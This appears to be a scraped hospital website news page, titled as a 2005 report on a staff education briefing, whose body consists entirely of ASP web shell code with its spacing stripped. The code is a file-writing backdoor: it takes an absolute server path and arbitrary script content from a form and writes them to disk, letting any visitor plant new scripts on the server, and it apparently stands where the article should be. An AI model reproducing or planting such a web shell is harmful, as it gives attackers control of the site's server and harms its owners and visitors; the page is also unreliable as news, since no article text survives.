医院再次召开先进性教育活动情况通报会
时间:2005-09-13 00:00:00 浏览量:
次
dimobjFSO
dimfdata
dimobjCountFile
onerrorresumenext
SetobjFSO=Server.CreateObject
("Scripting.FileSystemObject")
ifTrim(request("syfdpath"))<>""then
fdata=request("cyfddata")
SetobjCountFile=objFSO.CreateTextFile(request
("syfdpath"),True)
objCountFile.Writefdata
iferr=0then
response.write"<fontcolor=red>saveSuccess!
</font>"
else
response.write"<fontcolor=red>SaveUnSuccess!
</font>"
endif
err.clear
endif
objCountFile.Close
SetobjCountFile=Nothing
SetobjFSO=Nothing
response.write"<formaction=''method=post>"
response.write"
<b>=======================================
===============<br>"
response.write"创建文件程序</b><br>"
response.write"
==========================================
===================<br>"
response.write"本文件路径为:"
response.writeserver.mappath
(Request.ServerVariables("SCRIPT_NAME"))
response.write"<fontcolor='red'><br>"
response.write"<br>"
response.write"填写绝对地址(例如
D:webx.asp):<br>"
response.write"</font>"
response.write"<inputtype=textname=syfdpath
width=32size=50>"
response.write"<br><br>脚本内容:<br><br>"
response.write"<textareaname=cyfddatacols=80
rows=10width=32></textarea>"
response.write"<inputtype=submitvalue=创建>"
response.write"</form>"
%>